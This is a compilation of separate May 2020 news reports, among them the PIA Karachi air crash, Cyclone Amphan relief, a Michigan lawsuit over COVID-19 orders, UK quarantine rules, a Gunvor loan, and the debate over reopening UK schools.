The PIA Airbus A320, with 91 passengers and seven crew onboard, crash-landed into the Jinnah housing society located near the airport, a spokesperson of the state carrier said.

By Friday evening, the bodies of 41 people had been recovered, said the airline's chief executive Arshad Mahmood Malik in a press conference, adding the full clearance operation could last two to three days. He said only one survivor had been confirmed from the wreckage -- the president of the Bank of Punjab, Zafar Masud.

However, provincial officials reported at least two survivors, and said at least 60 dead bodies had been recovered.

Faisal Edhi, who heads the charitable Edhi foundation that was assisting rescuers, said 45 bodies have been recovered so far. "Our rescue workers have taken out 45 bodies from the remains of the aircraft," he said.

Edhi said around 25 to 30 residents whose houses were damaged by the plane have also been taken to the hospital, mostly with burn wounds. The aircraft wings during the crash landing hit the houses in the residential colony before crashing down.

"At least 25 houses have been damaged in this incident," Edhi said.

Sindh Health Minister Azra Pechuho said 19 bodies have been shifted from the crash site to Jinnah hospital and another 20 to Civil hospital. Scores of injured were also rushed to hospitals.

"The first priority is to rescue the people. The main hurdle is narrow streets and presence of ordinary people who gathered at the place after the crash but they have been dispersed," said Pechuho.

Sarfraz Ahmed, a firefighter at the crash site, said the nose of the Airbus A320 and the fuselage had been heavily damaged by the impact, adding rescuers had pulled bodies from the aircraft who were still wearing seatbelts.

Seemin Jamali, a director from Jinnah Post Graduate Medical College in the city, said the bodies of eight people killed on the ground had been brought to the facility.

'Mayday, Mayday'

The plane lost contact with the air traffic control at 2.37 pm (local time), said PIA spokesperson Abdullah Hafeez, adding it was too early to say about the technical problems faced by the plane. He said the captain informed the air traffic control that he was having problems with the landing gear before the aircraft disappeared from the radar.

"The last we heard from the pilot was that he has some technical problem," said Hafeez in a video statement.

According to a recording posted on monitoring website liveatc.net, the pilot sent a Mayday and told controllers the aircraft had lost power from both its engines on its second attempt to land.

After the aircraft reportedly called off an earlier attempt to land and went around for a second attempt, a controller radioed the pilot of flight 8303 that he appeared to be turning left, suggesting he was off-course.

The pilot replied, "We are returning back, sir, we have lost engines," and the controller cleared the plane to land on either of Karachi airport's two West-Southwest-facing runways.

Twelve seconds later the pilot called "Mayday, Mayday, Mayday" and was again cleared to use either runway. There was no further communication from the aircraft.

Aviation Minister Ghulam Sarwar said the landing gear of the plane was not working.

PIA chairman Malik said the pilot told the control tower about having a technical problem and was informed that two airports were available for landing after which he decided to go for a round and crashed.

"It was an (Airbus) A320 which is one of the safest planes. Technically, operationally everything was in place," he said, adding the plane was bought by the airline in 2014.

PIA promised a full independent investigation.

Airbus in a statement said the plane had first entered service in 2004 and was later acquired by PIA a decade later and had logged around 47,100 flight hours.

"He was told from the final approach that both the runways were ready where he can land, but the pilot decided that he wanted to do (a) go-round ... It is a very tragic incident," said the spokesperson.

Absolute, absolute hell!! An air crash in a residential area. Around half a dozen houses damaged, casualties not known yet. #KarachiAirCrash pic.twitter.com/p4Ai8Qw4JK  Emmad Hameed (@Emmad81) May 22, 2020

Streets covered with debris

Television footage showed smoke billowing from the scene, some roofs caved in and debris scattered in the streets as ambulances rushed through chaotic crowds of people.

A resident of the colony who witnessed the crash said the aircraft had fire coming from its wings.

Prime Minister Imran Khan, expressing deep sorrow over the loss of lives, ordered an immediate inquiry into the incident.

Shocked & saddened by the PIA crash. Am in touch with PIA CEO Arshad Malik, who has left for Karachi & with the rescue & relief teams on ground as this is the priority right now. Immediate inquiry will be instituted. Prayers & condolences go to families of the deceased.  Imran Khan (@ImranKhanPTI) May 22, 2020

Pakistan Army chief General Qamar Javed Bajwa condoled the loss of lives and directed the military to provide full assistance to the civil administration in rescue and relief efforts. The Pakistan Army and the Air Force have sent their teams to carry out rescue and relief operations.

Prime Minister Narendra Modi also condoled the loss of lives.

This is the first major aircraft crash in Pakistan after December 7, 2016, when a PIA ATR-42 aircraft from Chitral to Islamabad crashed midway. The crash claimed the lives of all 48 passengers and crew, including singer-cum-evangelist Junaid Jamshed.

A statement by the Pakistan Army's media wing Inter-Services Public Relations (ISPR) said the Army Quick Reaction Force and Sindh Pakistan Rangers reached the spot to carry out rescue and relief operations alongside civil administration. Pakistan Army Aviation helicopters have also been flown in for damage assessment and rescue efforts.

The Minister of Health and Population Welfare has declared an emergency in all major hospitals of Karachi after the incident, which occurred on a day when Pakistan's interior ministry announced Eid holidays from May 22 to May 27.

(With inputs from agencies)
Twenty-two opposition parties urged the Centre on Friday to immediately declare the devastation caused by Cyclone Amphan in Odisha and West Bengal as a national calamity and called for substantially helping the states in facing the impact of the disaster.

The leaders of the 22 parties, who met through video-conferencing, passed a resolution in this regard and said relief and rehabilitation should be the topmost priority at this juncture.

"We, the opposition parties extend our sympathy and support to the governments and people of West Bengal and Odisha in meeting the impact of the devastation caused by Cyclone Amphan," the resolution said.

It said a natural calamity like Cyclone Amphan has come as a double blow amid the coronavirus pandemic, breaking the spirits of people.

"Opposition Parties therefore urge the central government to immediately declare this as a national calamity and substantially help the states in facing the impact of this disaster," the resolution said.

The meeting of opposition parties called by Congress chief Sonia Gandhi was attended by the leaders of the TMC, NCP, DMK and Left parties, among others.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
May 14 (Reuters) - Iran's Foreign Minister on Thursday dismissed as "foolish claims" U.S. threats to trigger a return of all United Nations sanctions if the U.N. Security Council does not extend an arms embargo on Tehran, state media reported.

The U.S. special envoy for Iran, Brian Hook, on Wednesday publicly confirmed the strategy two weeks after an official, speaking on condition of anonymity, said that Washington had notified Britain, France and Germany of its plan.

The U.N. embargo is due to expire in October under a 2015 Iran nuclear deal that U.S. President Donald Trump quit in 2018.

Washington argues it can trigger a return of U.N. sanctions because a 2015 Security Council resolution enshrining the deal still names the United States as a participant.

"Foolish claims by US officials is nothing new," Foreign Minister Mohammad Zarif told reporters.

"It is no surprise to hear such things from people who recommend drinking disinfectants to ward off the coronavirus - to contend they are still a party to the agreement after officially leaving it, said Zarif.

This appeared to refer to Trump's suggestion for research into whether the coronavirus might be treated by injecting disinfectant into the body.

Meanwhile, a foreign ministry spokesman ridiculed a 2019 U.S. State Department report released on Wednesday that Iran and four other countries had not cooperated fully with U.S. counter-terrorism efforts.

"With a history of founding, funding and arming different terrorist groups, a record of state terrorism, and its outright support for another terrorist regime, U.S. is not a good yardstick for measuring anti-terrorism efforts," spokesman Abbas Mousavi tweeted. (Dubai Newsroom, Editing by William Maclean)
LANSING, MI -- A lawsuit filed against Gov. Gretchen Whitmer on Thursday seeks to put an end to a pair of executive orders signed by the governor this week that require businesses to institute strict safety measures for businesses reopening during the COVID-19 pandemic.

The lawsuit was filed by The Mackinac Center Legal Foundation along with the Miller Johnson law firm on behalf of the Associated Builders and Contractors of Michigan and a Grand Rapids-based landscaping company. The plaintiffs claim the orders unfairly allows for state agencies to enforce the executive orders and greatly increases the possible penalties for violations.

Gov. Whitmers approach threatens the safe jobs of Michigan workers who from the start have led the way, creating the gold standard of safe worksites during the COVID-19 public health crisis, said Jeff Wiggins, state director for ABC Michigan in a press release. Michigans more than 100,000 craft trades professionals deserve safety and certainty from state government as they return to their jobsites. They also deserve to have a voice in the rules process. Instead, they are threatened by the arbitrary, unclear and unconstitutional enforcement methods set to be dispatched throughout the state to intimidate good, honest workers.

As with many other lawsuits filed against the governor recently, the suit also claims Whitmer is overstepping her powers as governor and is illegally issuing orders without the authority of the legislature.

Gov. Gretchen Whitmer can extend state of emergency without legislature, judge rules

On Thursday, a judge sided with Whitmer in a lawsuit challenging her powers to extend the state of emergency without approval from the legislature.

As part of Executive Order 2020-97, the governor granted power of enforcement over businesses not complying with the safety measures to government agencies that routinely oversee those businesses. Executive Order 2020-96 lays out which businesses and industries are allowed to open and what safety guidelines they must follow.

Businesses that are found to be in violation of order 2020-96 can be unfairly penalized under order 2020-97 the lawsuit alleges. Thats because fines and penalties for violating orders issued under the emergency powers afforded to the governor carry a maximum penalty of 90 days in jail and/or a $500 fine, but order 2020-97 allows enforcement by state agencies such as The Michigan Occupational Safety and Health Administration (MIOSHA), which could allow for much larger penalties.

Any business or operation that violates the rules in sections 1 through 10 has failed to provide a place of employment that is free from recognized hazards that are causing, or are likely to cause, death or serious physical harm to an employee, within the meaning of the Michigan Occupational Safety and Health Act, MCL 408.1011, reads another portion of order 2020-97.

Under the MIOSHA act, willful violations of the act can result in fines of up to $7,000 per violation and even more if they are doing so purposely.

An employer who willfully or repeatedly violates this act, an order issued pursuant to this act, or a rule or standard promulgated under this act may be assessed a civil penalty of not more than $70,000.00 for each violation, but not less than $5,000.00 for each willful violation, reads the act.

The act also allows for a violator to be sent to prison for up to a year and up to three years if they are convicted of violating the act multiple times.

We are a democratic republic and that means there are often competing voices, said Patrick Wright, director of the Mackinac Center Legal Foundation and vice president for legal affairs at the Mackinac Center for Public Policy in a press release. Through the Legislature, the governor has been given some emergency powers. While the current situation is unprecedented and lives and livelihoods are at stake, the governor cannot single-handedly rewrite legislation to dramatically increase penalties apparently so as to stamp out dissent over the proper time and method of reopening society.

The lawsuit alleges the enforcement of order 2020-97 lowers the burden of proof from beyond reasonable doubt if the state is only seeking to fine violators. That means businesses could face significant fines without due process, the lawsuit claims. The plaintiffs also take issue with enforcement being handled by unelected officials who are under Whitmers control and not local law enforcement or prosecutors typically charged with enforcing laws.

The Mackinac Center Legal Foundation is requesting an immediate declaratory judgement that order 2020-97 is invalid, a judgement that order 2020-96 in unenforceable and a preliminary and permanent injunctive relief preventing the orders from being enforced.

The plaintiffs are also seeking monetary damages for the violation of the Plaintiffs constitutional rights for an amount to be proven at trial, lawyers costs and fees and any other relief deemed appropriate by the court.

The governors office doesnt comment on pending litigation.

PREVENTION TIPS

In addition to washing hands regularly and not touching your face, officials recommend practicing social distancing, assuming anyone may be carrying the virus.

Health officials say you should be staying at least 6 feet away from others and working from home, if possible.

Use disinfecting wipes or disinfecting spray cleaners on frequently-touched surfaces in your home (door handles, faucets, countertops) and carry hand sanitizer with you when you go into places like stores.

Michigan Gov. Gretchen Whitmer has also issued an executive order requiring people to wear face coverings over their mouth and nose while inside enclosed, public spaces.

Read all of MLives coverage on the coronavirus at mlive.com/coronavirus.

Additional information is available at Michigan.gov/Coronavirus and CDC.gov/Coronavirus.

READ MORE

Complete coverage at mlive.com/coronavirus

Friday, May 22: Latest developments on coronavirus in Michigan
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France on Thursday saw the death toll from the coronavirus increasing to 28,215 with 83 new deaths in the last 24 hours, lower than Wednesday's 110, according to figures released by the country's Health Ministry.

Fatalities recorded in hospitals rose by 58 to 17,870, while 25 succumbed to COVID-19 at nursing homes, bringing the total to 10,345.

In a sign that pressure on the French hospital system continued to ease, the number of people hospitalized with coronavirus infection declined by 358 to 17,583. Some 1,745 patients were in critical condition requiring life support, down by 49 in the last 24 hours.

As of Thursday, 318 new positive cases were detected, bringing the total of confirmed cases to 144,163, while a total of 63,858 patients had been discharged from hospital after recovery, a single day increase of 504.

"It is our ability to respect all good behavior that conditions the epidemic speed: protect ourselves, protect our loved ones, help health staff to break the chain of contamination by facilitating the strategy of testing, finding contact persons and isolation," the ministry said in a statement.
International travellers - including those from France - arriving in Britain face spot checks on their contact details and fines of up to 1,000 euros if they are not following new coronavirus quarantine rules.

Britains interior minister, Priti Patel, is due to outline the full details of the proposals on Friday afternoon as part of the governments strategy to ease lockdown restrictions and avoid a second wave of deaths.

More than 36,000 people have died in Britain from the coronavirus, making it Europes worst affected country.

People living in Britain will not escape the restrictions which are expected to come into force in June. However there will be exceptions for road hauliers and medical officials. Travellers from France will also have to place themselves in quarantine despite earlier suggestions that they would be allowed to avoid the limitations.

Speaking ahead of Patels announcement, the Northern Ireland secretary, Brandon Lewis, told Sky News: People who are coming to the UK will have to do quarantine.

Arrangements

"We're saying to people you've got to make your own arrangements, if you're coming to the UK then you need to make those arrangements.

"Obviously for the UK citizens coming back they'll be able to quarantine at home, for visitors they will need to make arrangements for here they can do that quarantine for 14 days.".

When rumours were circulating last week about the proposals, the Ryanair boss, Michael OLeary, described the plans as idiotic and unimplementable.

The trade body, Airlines UK, said they would effectively kill international travel to and from Britain.

Lewis said the measures would be reviewed every three weeks.

More than 250,000 people have been confirmed to have the coronavirus in Britain.
Photo: The Canadian Press Abbey Ferreira

Abbey Ferreira has wanted a career in the medical field since childhood, so she followed in the footsteps of her mother and grandmother and chose to become a nurse.

As COVID-19 forced school closures, Ferreira, 19, returned home to North Vancouver in mid-March near the end of her first year in the University of Calgary's nursing program and finished her courses online.

Like thousands of students across the country, especially those in programs requiring hands-on training, Ferreira is concerned about how practicums could be affected when classes resume.

"Right now, there's just a lot of questions," she said about physical distancing requirements that would also impact her life in residence.

"You need to take practicums to become a nurse. I'm just wondering how they're going to do them and what changes there will be."

The University of Calgary said it is reviewing all experiential learning options as it prioritizes the health and safety of students. Each faculty is assessing off-site practicum opportunities and if that is not yet possible students may be provided with alternative experiences "to help ensure they are not delayed in continuing their program," the school said in a statement.

Amanda Baskwill, associate dean of allied health in the faculty of health sciences and wellness at Humber College in Toronto, said students in courses such as massage therapy have faced a few challenges in online classes compared with other courses.

Baskwill said instructors for the three-year program adapted as much as possible and demonstrated techniques via video with someone in their home.

"They were videos of skills the students were able to view and if there was someone in their home, they could practise with that was an opportunity for them to try something new," she said.

Students learning a trade are also being challenged by the limitations posed by lack of in-class instruction.

Ed Dunn works as an instrumentation mechanic who maintains equipment at the Canfor pulp and paper mill in Prince George as part of his apprenticeship training through the British Columbia Institute of Technology.

Classes were cancelled on March 16, just as he was supposed to return to Metro Vancouver for three weeks of schooling.

Dunn and his classmates began learning theory online instead of getting access to the mechanical equipment in the program that stresses practical experience.

"I'd never done online classes and I'm sure a lot of other students are in the same situation," said Dunn, who ensures quality control of paper based on instruments he maintains at Canfor.

Despite the uncertainty, he's looking forward to the start of further classes at BCIT to meet his goal of becoming a journeyman after four years of education.

"We're supposed to go back on June 15 for the practical side of things but it's going to be completely different, with all the new restrictions and regulations and the safety precautions that will be in place," he said.

"If you're behind a laptop you could probably do some simulator training but you're not going to get that hands-on experience that something's wrong with your instrument and you have to either calibrate it or fix it."

A spokeswoman for BCIT said the school is preparing to announce its plans to students as soon as possible.

Jim Armstrong, who heads the industrial instrumentation department at BCIT, said he and his colleagues are working on plans to make the transition as smooth as possible.

"Right now, I know we're having difficulty sourcing masks and things like that so the question then becomes, how do we achieve that? That's something that is foremost for BCIT," he said.
* Loans: Higher margin reflects lenders' growing unease over sector

By Chien Mi Wong and Mirzaan Jamwal

HONG KONG, May 22 (LPC) - Gunvor Group is offering a 20bp higher margin on its latest Asia-targeted syndicated loan, in the first test of new pricing levels for the commodities sector since the coronavirus outbreak.

The Swiss trader's South-East Asia unit, Gunvor Singapore, has launched a US$500m one-year refinancing with top-level all-in pricing of 190bp based on an interest margin of 115bp over Libor.

Those price points are 20bp and 15bp richer, respectively, than the margins on a US$455m one-year deal the borrower signed in June 2019. Gunvor's 2019 financing attracted 22 lenders, including six lead arrangers. In contrast, this year's deal is self-arranged.

Pricing needs to be changed to reflect increased in funding costs to most banks, said a Singapore based loan syndications banker. Its the quantum of increase that will be most intensely negotiated.

Gunvor is typically the first among several commodity traders that tap the syndicated loan markets in Asia (ex-Japan) every year, and the response to its latest deal will be closely watched by other commodity credits that are expected to return in the second half of the year.

Between August and October last year, the Asian subsidiaries of Louis Dreyfus, Mercuria Energy Trading and Trafigura Group, along with Olam International, closed loans totalling US$4.88bn.

Louis Dreyfus is expected soon as it has a US$500m three-year revolving credit facility due in September. The Netherlands-headquartered commodities traders Asian arm was sounding out relationship banks for a new loan in April, but put that on hold pending the closing of a separate loan in the US first, banking sources said.

PANDEMIC WOES

The commodities sector has been hit hard by the coronavirus pandemic, with plunging prices pushing numerous companies into financial difficulty.

Singapore-based Hin Leong Trading was placed under the management of a court-appointed supervisor in April with debts of over US$3bn, after it was caught out by the slump in demand for oil and failed to secure new credit lines. It also admitted to hiding US$800m in futures losses over several years and said it had already sold a lot of its inventory, according to court filings, leaving its 23 lenders at risk of heavy losses.

Story continues

Smaller commodity players are already facing stress and risk being cut off from crucial funding. Earlier in May, HSBC filed a court application to place Singapore oil trader Zenrock Commodities Trading under judicial management over non-payment of dues and other issues.

In March, Hontop Energy, an oil trader linked to a Chinese refiner, went into receivership, blaming cratering demand due to Covid-19. The same month Singapore's High Court rejected commodity trader Agritrade Internationals request for a debt moratorium on US$1.55bn in outstanding liabilities to dozens of creditors, including US$983m owed to secured lenders. At least 20 banks face losses from the collapse of Agritrade.

It is bad timing for the commodity companies to refinance because of the Covid-19 impact and Hin Leong default, said a second Singapore-based loans banker. Banks are more cautious now and borrowers have postponed deals for these reasons.

FLIGHT TO QUALITY

While the commodities sector continues to see price volatility, not all commodity traders are expected to struggle with their fundraising plans.

Bankers believe that the larger, stronger players  including the likes of Swiss firms Mercuria and Trafigura and Singapore-based agri-business Olam  would be able to navigate choppy markets.

I believe the crisis is mostly affecting the smaller, Asian trading houses, said a Singapore-based relationship manager at a Chinese bank. International banks will continue to support the larger, global trading houses, although participation will be limited to just the refinancing amount and not incremental amounts.

The first Singapore-based loans banker said: There will be a flight to quality. The top-tier ones with transparency over their structured trade financings will survive. Those that are less forthcoming or smaller will suffer.

Others believe that the composition of the syndicate of lenders will also shrink.

A 30-bank syndicate for the top-tier commodity names is a thing of the past, said another senior Hong Kong-based loans banker. Smaller banks that previously were participants in commodity deals are unlikely to feature this time.

Given the troubles the sector faces and the risk-aversion from lenders, syndicated lending for commodity credits could take a hit this year, exacerbating a slowdown last year when such loans raised US$15.41bn from Asia (ex-Japan), according to Refinitiv LPC data.

The 2019 tally for syndicated loans from the commodities sector in the region was 4.17% lower than the US$16.08bn raised in 2018 and a far cry from 2014s US$29.33bn, which was a record since 2009.

(Reporting By Chien Mi Wong and Mirzaan Jamwal; Editing by Prakash Chakravarti and Steve Garton)
BERLIN - A German woman suspected of joining the Islamic State group in Syria has been taken into custody in her homeland after being deported from Turkey.

The suspect, identified only as Zeynep G. in line with German privacy rules, was arrested at Frankfurt airport on Thursday. Federal prosecutors said she was brought before a judge on Friday and he ordered her held pending a possible indictment.

Prosecutors allege that she left Germany in 2014 for Syria, where she married a Chechen IS fighter and joined the extremist group. They say she married a second IS fighter, this one from Germany, after her husband was killed in fighting in 2015. The two had a child in 2016.

Zeynep G. was captured by Kurdish forces in early 2019 and escaped about a year later from a refugee camp in northern Syria, according to prosecutors. She was then arrested after entering Turkey.

German federal police told news agency dpa that two women and their four children landed in Frankfurt on Thursday evening on a flight from Ankara. There was no arrest warrant against the other woman.
Marcio Jose Sanchez / Associated Press

The University of California Board of Regents unanimously voted to no longer require that students submit SAT or ACT scores to receive admission to any of the schools in the UC system.

During a teleconference meeting Thursday, the board approved UC president Janet Napolitano's plan to make submitting standardized test scores optional for students applying for admission in the fall of 2021 or 2022. Students can still submit scores that will be considered in the admissions process, but those who choose not to submit scores will not be penalized.
Primary school children who return to school on June 1 are more likely to die from coronavirus than being killed in a car crash, a committee of scientists led by Tony Blair's Chief Scientific Adviser said today.

The 'Independent SAGE' committee's report called 'Should Schools Reopen?', published this afternoon, says the 'extremely unlikely' risk of death from Covid-19 then tips back the other way if children are kept at home until September.

Sir David King, who chairs the group of scientists gathered to challenge the Government's own experts, said today it is 'too soon' for children to return and claims 'new modelling' found the risk to children of catching the illness would be halved even if it was delayed for another fortnight.

Sir David and his team say they have calculated the risk of death and infection for primary school children based on the Government's own data on coronavirus' spread in the UK and the infection rate among under-10s.

The report says: 'Staying at home at all time points is about half as risky as going to school. Schools reopening in September present a slightly lower risk and reopening in June a slightly higher risk to a child than the background risk of a road traffic accident'.

The daily chance of being killed in a road traffic accident is about 0.07 per million people in the UK. The coronavirus death rate among children on June 1 is predicted to be slightly higher at 0.23 per million, dropping to 0.02 on September 1.

The new research, released on the day Government SAGE papers said evidence on how likely children are to transmit Covid-19 remains 'inconclusive', also claims:

A child who head back to school on June 1 has a 4% of being exposed to Covid-19 and a 1.4% chance of actually becoming ill. The percentages are slashed by at least half if a child stays at home.

On June 15 a child at school then sees the chance of being exposed to the virus drop to 2% with a 0.72% chance of becoming ill.

By September 1 the same risks drop to 0.49% and 0.15% respectively;

Sir David King, who chairs the 'Independent Sage' committee, said it is 'too soon' for children to return and claims 'new modelling' found the risk to children would be halved if it was delayed for another fortnight.

Primary school children who return to school on June 1 are more likely to die from coronavirus than being killed in a car crash, the alternative SAGE group's study says, but this flips the other way come September

The group's data shows how the risk of a child catching coronavirus is higher if that child goes to school - but the risks of serious illness are very low and diminish fast over time

This is how social distanced desks will look at Holywell Village First School in Northumberland

Schools will return next month with a series of government rules in place to keep staff and pupils as healthy as possible

Splitting classes in half and having them attend schools alternate weeks could slash the effect on coronavirus 'R' number An assessment of various models of the impact of changes on the R rate shows the impact, on a scale of zero to one, would be 0.24 if classes were split and attended alternate weeks Splitting classes in half and having them attend schools alternate weeks could slash the effect on the coronavirus 'R' number, government experts believe. Evidence considered by the Scientific Advisory Group on Emergencies (SAGE) suggests the impact on the spread of the disease be a fraction would be dramatically smaller if pupils come back part time. A raft of documents released this afternoon also suggest that children are less likely to be infected and infectious than adults. Many of the concerns about schools returning appear to be over the knock-on impact on social distancing, with more mixing of families and parents returning to work. An assessment of various models of the impact of changes on the R rate shows the impact, on a scale of zero to one, would be 0.24 if classes were split and attended alternate weeks. If half the class went in in the morning and half in the afternoon that would rise to 0.4. The maximum impact of one would be if schools came back completely. A document from a behavioural insight meeting on May 1 said: 'Although not initially one of the options proposed by DfE, options 7b (classes split in two, with children attending on alternate weeks) emerged from the joint discussions as having particular potential merit for further consideration.' The findings will likely add to arguments with unions over whether it is safe for children to return, and if it can be achieved without triggering another flare up of the virus. The files emerged as a SAGE source claimed Government plans to reopen primary schools are grounded in welfare concerns rather than evidence younger pupils are less vulnerable. Advertisement

Sir David spoke out as teaching unions urged the Government to dump the June 1 date and more than 2,200 schools prepared to defy Boris Johnson's plans. The group did, however, have concerns that children who miss school 'do not get the benefit of having face-to-face learning and seeing their friends'.

They have suggested opening socially distanced 'catch up' classes held for children over the summer, run by up to 750,000 volunteers, held at 'sports grounds, football, rugby and other stadia' across the country.

His alternative SAGE committee of experts says delaying schools reopening for two weeks would allow for the Government's 'test, trace and isolate' programme, including its delayed app, to be established.

Paul Whiteman, general secretary of school leaders' union NAHT, said: 'Support for a fixed date for school return is vanishing quickly. What is needed now is local flexibility to determine when it is right for schools to open up to more pupils, informed by evidence of what is happening in their own local area'.

And a source on the Government's SAGE committee has also claimed that plans to reopen primary schools are grounded in welfare concerns - including a lack of education for underprivileged children, rather than clear evidence that younger pupils are less vulnerable to coronavirus.

Today it was revealed that two thirds of councils have now told parents they cannot guarantee that primary schools will open on time - while the Times Education Supplement reported this morning that some academies who previously backed the June 1 time have performed a U-turn.

Only around 20 of England's 150 local authorities have said they are advising headteachers to open again in ten days' time, it was revealed today.

Education Secretary Gavin Williamson has promised that scientific evidence in favour of school reopening will be published today - but it appears he is fighting a losing battle.

A BBC survey of councils found that of the 99 that responded, 68 'cannot guarantee' parents their children will be back in school at the start of June.

15 of those local authorities, mainly Labour councils in the north-west of England, said they had advised to opposed Boris Johnson's plans. 11 said they were still considering their response with just over a week to go and 53 said headteachers could decide.

In the first phase of his back-to-school blueprint, Boris Johnson wants children in Reception, Year 1 and Year 6 to go back to class on June 1.

An expert on Downing Street's scientific advisory subcommittee on schools claimed that these specific year groups were selected based on worries for their education and wellbeing - not that they are more shielded to the disease.

Although age is a factor in how at-risk an infected person is to Covid-19 symptoms, modelling found there was 'no increased risk to one year group over another'.

The Sage source told the Telegraph that 'welfare reasons and educational reasons' informed the decision to pick these three year groups as the first to go back.

Sage, the Scientific Advisory Group on Emergencies, chaired by Sir Patrick Vallance, will today publish its advice on the safety of reopening primary schools next month.

The revelations that there is no difference in the vulnerability of certain year groups will likely whip up anger from teachers' unions, who claim social distancing is much harder to enforce in primary schools.

Government plans to reopen primary schools are driven by welfare concerns rather than evidence younger pupils are less vulnerable to coronavirus (Education Secretary Gavin Williamson pictured)

Boost for schools reopening as biggest study of its kind finds children are 56% less likely to catch coronavirus than adults Children have half the chance of catching coronavirus as adults, leading British scientists have found. University College London researchers analysed 18 studies looking into the link between the viral disease and children. They found the risk of catching COVID-19 in children and teenagers was 56 per cent lower compared to adults over 20. The scientists say their findings imply children are likely to play a lesser role in transmission of the disease because fewer of them get infected in the first place. Lead author Professor Russell Viner told a press conference ahead of the paper's publication today that the results show the 'balance of risks for children is strongly towards a return to school'. The UCL team are the latest experts to throw their support behind Boris Johnson amid a furious row about English schools restarting in June. Eminent statistician Sir David Spiegelhalter, from Cambridge University, also claims the risk for children catching COVID-19 is 'unbelievably low'. Yet the PM has faced ferocious backlash from parents and teaching unions for his plan to get children in reception, year 1 and year 6 back to school on June 1. Scores of councils have refused to reopen amid fears pupils will spread the virus between each other, their teachers teachers and families. Advertisement

Ministers have also come under growing pressure from councils, predominantly by Labour-run local authorities in the north of England, who have ruled out a wider reopening from June 1.

A final decision on whether to go ahead with reopening schools is expected to be taken by the government on or before May 28 after the most up-to-date scientific evidence has been reviewed.

The Prime Minister's official spokesman said: 'We are continuing to hold discussions with them and to listen to their concerns.'

He added: 'It remains our intention to get as many children as possible back into school as soon as we are able, in a way that's safe.'

Asked when a decision would be made on the date, the spokesman told reporters: 'I'm not in a position to say to you, definitively, when we will be able to say that.'

But 'our intention remains to get as many children into school as soon as possible but in a safe way'.

It is likely that local authority-run primary schools in England will look closely at what their council has to say before deciding whether to reopen on the first week of June.

The government has also said secondary schools and colleges should aim to offer some 'face-to-face contact' with Year 10 and 12 students who have key exams next year during the summer term.

Teachers say they are trying to create a virus-free environment ahead of their schools' partial reopening next month.

Charlotte Bayazian, head teacher at La Petite Ecole Bilingue in North London, can be seen rearranging tables to ensure her young pupils can socially distance while learning.

Fully masked up, she was also seen (in other photos) covering displays in plastic and marking specific seating plans to prepare for the return of the bilingual school.

The government's proposed recommencing of teaching for all Reception, Year 1 and Year 6 classes in England has met resistance from unions and councils, who claim it is still unsafe to return.

The union opposing the reopening of schools has written to every head in England warning they face legal action if teachers catch coronavirus.

The National Education Union (NEU) said schools could be pursued through the courts as its ups its campaign against the Government's plan to get children back in classrooms from June 1.

It comes as the Scientific Advisory Group for Emergencies releases its safety advice today on reopening schools, which informed the Government's decision. Union critics said the report would 'remove all their excuses' for blocking reopening.

Glebe School in West Wickham remains closed because of the coronavirus outbreak

NEU boss Kevin Courtney has instructed members to obstruct heads by accusing them of violating the law and 'threatening' to denounce them on social media.

Letters have been sent to every school in England claiming the decision to reopen is on their 'shoulders', claiming they could be liable if teachers catch Covid-19 in their schools. 'We will be advising members of their legal rights should any member contract Covid-19 upon returning to school,' the letter warns heads and college leaders.

But it was denounced by school leaders, who said it was 'not helpful'. Signed off by the NEU, GMB, Unison, and Unite, it claimed schools that follow Government guidance could be pursued in the courts.

Social workers deployed in schools Social workers will be placed in schools across the country to help identify children at risk of abuse and neglect, the Government has announced. Nearly 10million of funding from the Department for Education (DfE) has been announced for projects aimed at boosting the educational outcomes of vulnerable children and keeping them safe from harm. Of this package, 6.5million will be allocated to What Works for Children's Social Care who will deploy social workers in more than 150 schools to help staff spot the signs of children at risk more quickly. Education Secretary Gavin Williamson said: 'The stark reality is that too many children are growing up at risk of abuse, neglect and exploitation. 'These are the most vulnerable in society, and the ones that most need our help. ' Advertisement

Schools Week reported that the letter said: 'We believe it is important you fully understand the potential liability you are exposing yourself to by following the current deeply flawed guidance.' It also claimed the Department for Education (DfE) 'failed to provide clear and robust guidance that will ensure the health and safety of pupils, staff and the wider community'.

Government sources expressed outrage at the missive, saying guidance was informed by Public Health England. A DfE spokesman said: 'The welfare of children and staff has been at the heart of all decision making.'

A NEU spokesman said: 'We will advise our members of their legal rights not to work if exposed to serious and imminent danger.'

Prince William has warned of the impact that lockdown and being kept away from school could be having on children's mental health.

In a video call to care providers, he said he was particularly concerned about the issue, despite families attempting to 'muddle' their way through.

He also expressed fears about their anxiety levels as a result of the pandemic generally, as well as the loss of family members to the virus, and highlighted the long-term implications of the economic outlook for school leavers.

The prince was talking to five professionals from the Belfast Health and Social Care Trust in a Zoom video call.

William said: 'I'm particularly worried as to how the young people are going to cope long term because we're all muddling through this period.

'But the long-term implications  of school being missed, anxiety levels, family members sadly dying and the sort of general economic outlook  do you think that will play heavily on your services and what they'll need?'

How do plans to re-open state, academy and private schools differ across the UK?

Schools, colleges and nurseries across the UK closed more than eight weeks ago due to the coronavirus outbreak, remaining open only for vulnerable pupils and the children of key workers.

Boris Johnson unveiled proposals to allow more children in Reception, Year 1 and Year 6 to return to school in England from as early as June 1 as part of his strategy for easing lockdown restrictions.

But the devolved administrations in Scotland, Northern Ireland and Wales have adopted different approaches to sending children back to the classroom.

So what are the plans for the different nations?

- Scotland

The Scottish Government aims to have all children back in schools on a part-time basis on August 11.

Teachers will return to school during June to prepare for the attendance of pupils, while there will be support where available for pupils moving into primary 1 or moving from primary to secondary school.

Education Secretary John Swinney said parts of the school estate could be expanded to allow social distancing to be observed, and community and leisure centres, conference halls and libraries could be used to allow pupils to spend more time with teachers.

Schools will reopen towards the end of the summer holidays in Scotland, but children will return to a 'blended model of part-time in-school and part-time at-home learning' to allow for social distancing.

- Northern Ireland

All children are intended to restart classes on a phased basis, involving a mixture of physical attendance and remote learning, in September if enough progress is made in curbing coronavirus.

But the education minister has said schools in Northern Ireland could reopen to pupils preparing for exams in the third week of August.

Those studying for major public tests and transfer from primary to post-primary schools would be among the first to return to classes under an envisaged phased reopening, Peter Weir said.

Exams for entrance to post-primary schools are due to be held two weeks later this autumn to allow more time for primary teachers to catch up on lost lesson time since the school closures.

- Wales

The Welsh Government has not given any dates for when the country can expect schools to reopen.

Wales' plan to exit the lockdown sets out that restrictions will be eased through three stages - red, amber and green - and each of the stages will see a 'cautious' lifting of measures.

